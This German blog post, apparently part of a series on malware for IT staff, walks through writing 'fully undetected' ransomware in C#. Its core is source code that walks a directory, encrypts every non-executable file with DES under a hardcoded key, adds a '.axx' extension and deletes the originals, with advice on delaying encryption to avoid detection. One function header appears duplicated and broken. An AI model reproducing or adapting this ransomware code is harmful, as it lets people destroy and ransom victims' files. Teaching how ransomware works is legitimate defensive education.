Malware-Coding für IT-ler, Teil II: Fun mit FUD-Ransomware!

Ransomware ist – nüchtern betrachtet – nur ein kleines Stückchen Schadcode, entwickelt mit primär einem Ziel: sämtliche Dateien des betroffenen Benutzers zu verschlüsseln. Ist noch kein Entschlüsselungs-Tool verfügbar, bleibt dem Opfer nicht viel anderes übrig als den geforderten Lösegeldbetrag zu zahlen, will es den notwendigen Schlüssel erhalten.
Aber wie komplex ist Ransomware wirklich?

Gegenstand dieses Beitrags ist es zu zeigen, wie unglaublich einfach es ist eine FUD-Ransomware (also eine Fully Undetected Ransomware) zu schreiben, in dem man Microsoft-Bibliotheken in C# benutzt.

Ransomware 101

Wie in Teil 1 (Link Teil 1 einfügen) dieser Serie beschrieben, gibt es unterschiedliche Wege einen Rechner mit Malware zu infizieren: Anhänge, die Schadsoftware enthalten, manipulierte Webseiten und natürlich die allgegenwärtigen Phishing-Kampagnen. Mit weiteren kreativen Methoden beschäftigen wir uns im nächsten Beitrag aus dieser Serie. Nehmen wir an, wir haben auf eine böswillig veränderte Ransomware-Datei geklickt, was passiert dann als nächstes?

Persistenz. Dieser Teil des Codes sorgt dafür, dass die Malware nicht nur Neustarts unbeschadet überlebt, sondern auch dafür, die Anwesenheit der Software zu verschleiern. Das erschwert es sie zu finden und zu entfernen. Üblicherweise findet sich diese Funktion in praktisch jeder Malware. Sie ist generisch und in allen Malware-Familien weitgehend identisch. Was Ransomware anbelangt existieren allerdings einige charakteristische Unterschiede.

Im Kern ist Ransomware nur eine Software, die für das massenhafte Verschlüsseln von Dateien auf dem Rechner des betreffenden Opfers sorgt. Meistens bevorzugen Hacker dabei die asymmetrische Verschlüsselung (also die Art der Verschlüsselung, bei der zum Verschlüsseln und Entschlüsseln verschiedene Schlüssel benötigt werden), denn sie macht es sehr viel schwieriger die Daten wiederherzustellen. Dieser asymmetrische Algorithmus basiert auf der Idee, die Dateien mit einem öffentlichen Schlüssel zu verschlüsseln. Zum Entschlüsseln der betreffenden Inhalte braucht man dann den privaten Schlüssel. Den nur der Angreifer hat. Man kann Malware natürlich auch mit einer schwächeren Verschlüsselungsmethode wie der symmetrischen Verschlüsselung kodieren. Hier wird derselbe Schlüssel zum Ver- und Entschlüsseln verwendet. Um den Code noch ein bisschen mehr zu vereinfachen, benutzen wir in unserem Beispiel eine API, die sich des symmetrischen Verschlüsselungsalgorithmus bedient.

Und jetzt der Code

Als nächstes müssen Neulinge sich damit vertraut machen wie man ein Dateisystem durchquert. Im Prinzip bewegt man sich dabei durch die Verzeichnishistorie, sammelt dort die Pfadnamen der Dateien ein und füttert mit diesen Inhalten anschließend die Verschlüsselungs-Engine. Diese Datei muss dann selbstverständlich zurückgeschrieben werden. Eine Liste der zu verschlüsselnden Dateien ist also das, was Unternehmen normalerweise brauchen. Wir sprechen hier von Word-Dokumenten, Tabellen, Bildern, Präsentationen, Audio-Dateien und natürlich E-Mails. Übrigens: Hacker verschlüsseln meist keine Video-Dateien, einfach aufgrund der Größe und der negativen Auswirkungen auf die Leistungsfähigkeit der eigenen Malware. Es ist ein schwacher Trost, aber theoretisch kann ein Mitarbeiter noch auf Videos zugreifen, während die IT-Abteilung die übrigen Dateien aus dem Backup wiederherstellt.

Aber zurück zur Dateiliste. Hat man eine Liste der Dateien erstellt, nachdem man sich durch die Verzeichnisse navigiert hat, ist es eine gute Idee eine Weile zu warten, bis man tatsächlich damit beginnt die Dateien zu verschlüsseln. Die Idee dahinter ist simpel: so viele Dateien wie möglich verschlüsseln bevor die Ransomware entdeckt wird. Intelligentere Varianten versuchen deshalb die Leerlaufzeiten des infizierten Computers zu lernen, also die Zeiträume in denen die CPU verfügbar ist. Diese Form der Ransomware sucht sich dann für den Verschlüsselungsprozess das am besten geeignete Zeitfenster, um möglichst lange unentdeckt zu bleiben.

Und so sieht dann der Code im Einzelnen aus:

Der erste Ausschnitt: Einen geeigneten Random-Key auswählen um die Dateien zu verschlüsseln:

string key = "R?\n??i??";

Prinzipiell kann man sich bei der Wahl seines Schlüssels frei entscheiden. In unserem Fall haben wir uns der Einfachheit halber für symmetrische Verschlüsselung entschieden, so dass zum Verschlüsseln und Entschlüsseln der Dateien ein- und derselbe Schlüssel zum Einsatz kommt.

Der zweite Ausschnitt: Verschlüsseln der kompletten Inhalte innerhalb eines Verzeichnisses:

private static void EncryptDir(string d,int mili)
        {
            DirectoryInfo dirtoencrypt = new DirectoryInfo(d);
            FileInfo[] file;
            file = dirtoencrypt.GetFiles();
            foreach (FileInfo currentFile in file)
            {
                if (currentFile.Extension.ToLower() != ".exe")
                {
                    string key = "R?\n??i??";
                    EncryptFile(currentFile.FullName, currentFile.FullName + ".axx", key);
                    File.Delete(currentFile.FullName);
                   Thread.Sleep(mili);
                }
            }
        }

Und dann noch der dritte Abschnitt. Hier bedienen wir uns direkt der Verschlüsselungsfunktion von Microsoft (https://support.microsoft.com/en-us/kb/307010):

static void EncryptFile(string sInputFilename, \
static void EncryptFile(string sInputFilename, string sOutputFilename, string sKey)
        {
            FileStream fsInput = new FileStream(sInputFilename,
             FileMode.Open,
             FileAccess.Read);

            FileStream fsEncrypted = new FileStream(sOutputFilename,
               FileMode.Create,
               FileAccess.Write);
            DESCryptoServiceProvider DES = new DESCryptoServiceProvider();
            DES.Key = ASCIIEncoding.ASCII.GetBytes(sKey);
            DES.IV = ASCIIEncoding.ASCII.GetBytes(sKey);
            ICryptoTransform desencrypt = DES.CreateEncryptor();
            CryptoStream cryptostream = new CryptoStream(fsEncrypted,
               desencrypt,
               CryptoStreamMode.Write);

            byte[] bytearrayinput = new byte[fsInput.Length];
            fsInput.Read(bytearrayinput, 0, bytearrayinput.Length);
            cryptostream.Write(bytearrayinput, 0, bytearrayinput.Length);
            cryptostream.Close();
            fsInput.Close();
            fsEncrypted.Close();
        }


Und das war’s auch schon. So einfach erstellt man eine Malware, die bereits das Potenzial hat erheblichen Schaden anzurichten. Dazu braucht sie weniger als 100 Zeilen Code und nach dem Kompilieren ist sie lediglich praktische 10kb groß.

Im nächsten Beitrag unserer Serie beschäftigen wir uns mit weiteren Charakteristika von Ransomware.